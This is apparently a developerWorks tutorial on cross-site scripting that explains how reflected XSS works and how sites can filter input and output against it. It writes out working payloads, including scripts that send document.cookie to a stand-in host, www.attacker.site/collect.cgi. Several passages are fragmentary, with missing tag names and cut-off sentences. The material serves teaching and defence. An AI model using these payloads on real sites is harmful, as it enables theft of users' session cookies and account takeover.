What happens in a cross-site scripting attack
Cross-site scripting (XSS for short) is one of the most common application-level attacks that hackers use to sneak into Web applications. XSS is an attack on the privacy of clients of a particular Web site, which can lead to a total breach of security when customer details are stolen or manipulated. Most attacks involve two parties: either the attacker and the Web site or the attacker and the client victim. Unlike those, the XSS attack involves three parties: the attacker, the client, and the Web site.
Explanation of the XSS technique
Let's call the site under attack: www.vulnerable.site. At the
core of a traditional XSS attack lies a vulnerable script in the vulnerable site.
This script reads part of the HTTP request (usually the parameters, but sometimes
also HTTP headers or path) and echoes it back to the response page, in full or in
part, without first sanitizing it (thus not making sure that it doesn't
named welcome.cgi, and its parameter is
name. It can be
operated this way:
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site
The response would be:
<HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML>
Such a link looks like this one:
The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows:
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site ...
The vulnerable site response would be:
<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML>
Of course, a real attack would consist of sending these cookies to the attacker. For this, the attacker may erect a Web site (www.attacker.site) and use a script to receive the cookies. Instead of popping up a window, the attacker would write code that accesses a URL at www.attacker.site, thereby invoking the cookie-reception script, with a parameter being the stolen cookies. This way, the attacker can get the cookies from the www.attacker.site server.
The malicious link would be:
http://www.vulnerable.site/welcome.cgi?name=<script>window.open ("http://www.attacker.site/collect .cgi?cookie="%2Bdocument.cookie)</script>
And the response page would look like:
<HTML> <Title>Welcome!</Title> Hi <script>window.open("http://www.attacker.site/collect.cgi?cookie= "+document.cookie)</script> <BR> Welcome to our system ... </HTML>
Scope and feasibility
The attack can take place only at the victim's browser, the same one used to access the site (www.vulnerable.site). The attacker needs to force the client to access the malicious link. This can happen in these ways:
- The attacker sends an e-mail message containing an HTML page that forces the browser to access the link. This requires the victim to use the HTML-enabled e-mail client, and the HTML viewer at the client is the same browser that is used for accessing www.vulnerable.site.
- The client visits a site, perhaps operated by the attacker, where a link to an image or otherwise-active HTML forces the browser to access the link. Again, it is mandatory that the same browser be used for accessing both this site and www.vulnerable.site.
- Permanent cookies (of www.vulnerable.site) maintained by the browser
- RAM cookies (of www.vulnerable.site) maintained by this instance of the browser, only when it is currently browsing www.vulnerable.site
- Names of other windows opened for www.vulnerable.site
- Any information that is accessible through the current DOM (from values, HTML code, and so forth)
Identification, authentication, and authorization tokens are usually maintained as cookies. If these cookies are permanent, the victim is vulnerable to the attack even when not using the browser at the moment to access www.vulnerable.site. If, however, the cookies are temporary, such as RAM cookies, then the client must be in session with www.vulnerable.site.
<script>var victim_window=open(",'foobar');alert('Can access: ' +victim_window.location.search)</script>
Variations on this theme
It is possible to use many HTML tags, beside
and to force the client to download the script and execute it, which can be useful
if a lot of code is to be run or when the code contains special characters.
A couple of variations on these possibilities:
- Rather than
<script>...</script>, hackers can use
- Rather than
<script>...</script>, it is possible to use
Sometimes, the data embedded in the response page is found in non-free HTML context. In this case, it is first necessary to "escape" to the free context, and then to append the XSS attack. For example, if the data is injected as a default value of an HTML form field:
... <input type=text name=user value="..."> ...
Then it is necessary to include
"> in the beginning of the data to ensure escaping to the free HTML context. The
data would be:
And the resulting HTML would be:
... <input type=text name=user value=""><script>window.open ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>"> ...
Other ways to perform traditional XSS attacks
So far, we have seen that an XSS attack can take place in a parameter of a
GET request that is echoed back to the response by a
script. But it is also possible to carry out the attack with a
POST request or by using the path component of the HTTP
request -- and even by using some HTTP headers (such as the Referer).
In particular, the path component is useful when an error page returns the erroneous path. In this case, including the malicious script in the path will often execute it. Many Web servers are found vulnerable to this attack.
What went wrong?
It is important to understand that, although the Web site is not directly affected by this attack (it continues to function normally, malicious code is not executed on the site, no DoS condition occurs, and data is not directly manipulated nor read from the site), it is still a flaw in the privacy that the site offers its visitors, or clients. This is just like a site deploying an application with weak security tokens, whereby an attacker can guess the security token of a client and impersonate him or her.
How to secure a site against XSS attacks
It is possible to secure a site against an XSS attack in three ways:
- By performing in-house input filtering (sometimes called input
sanitation). For each user input -- be it a parameter or an HTTP header --
in each script written in-house, advanced filtering against HTML tags, including
previous case study should filter the
<script>tag after it is through decoding the
nameparameter. This method has some severe downsides, though:
- It requires the application programmer to be well-versed in security.
- It requires the programmer to cover all possible input sources (query
parameters, body parameters of
POSTrequests, HTTP headers).
- It cannot defend against vulnerabilities in third-party scripts or servers. For example, it won't defend against problems in error pages in Web servers (which display the path of the resource).
- By performing "output filtering," that is, filtering the user data when it is sent back to the browser, rather than when it is received by a script. A good example for this would be a script that inserts the input data to a database and then presents it. In this case, it is important not to apply the filter to the original input string, but only to the output version. The drawbacks are similar to the ones for input filtering.
Ways to check whether your site is protected from XSS
Cross-site scripting is one of the most common application-level attacks that hackers use to sneak into Web applications, as well as one of the most dangerous. It is an attack on the privacy of clients of a particular Web site, which can lead to a total breach of security when customer details are stolen or manipulated. Unfortunately, as this article explains, this is often done without the knowledge of either the client or the organization being attacked.
To prevent Web sites being vulnerable to these malicious acts, it is critical that an organization implement both an online and offline security strategy. This includes using an automated vulnerability-assessment tool that can test for all of the common Web vulnerabilities and application-specific vulnerabilities (such as cross-site scripting) on a site. For a full online defense, it is also vital to install a firewall application that can detect and defend against any type of manipulation to the code and content sitting on and behind the Web servers.
- To read the official announcement that started it all: CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests.
- For examples of Web servers that are or were vulnerable to path XSS attacks, check the Bugtraq on the Insecure.org Web site.
- For additional information: Advanced Cross-Site-Scripting with Real-time Remote Attacker Control (XSS Proxy).
- Visit the Rational software area on developerWorks for technical resources and best practices for Rational Software Delivery Platform products.
- Explore Rational computer-based, Web-based, and instructor-led online courses. Hone your skills and learn more about Rational tools with these courses, which range from introductory to advanced. The courses on this catalog are available for purchase through computer-based training or Web-based training. Additionally, some "Getting Started" courses are available free of charge.
- Subscribe to the Rational Edge newsletter for articles on the concepts behind effective software development.
- Subscribe to the IBM developerWorks newsletter, a weekly update on the best of developerWorks tutorials, articles, downloads, community activities, webcasts and events.
- Browse the technology bookstore for books on these and other technical topics.
Get products and technologies
- Download trial versions of IBM Rational software.
- Download these IBM product evaluation versions and get your hands on application development tools and middleware products from DB2®, Lotus®, Tivoli®, and WebSphere®.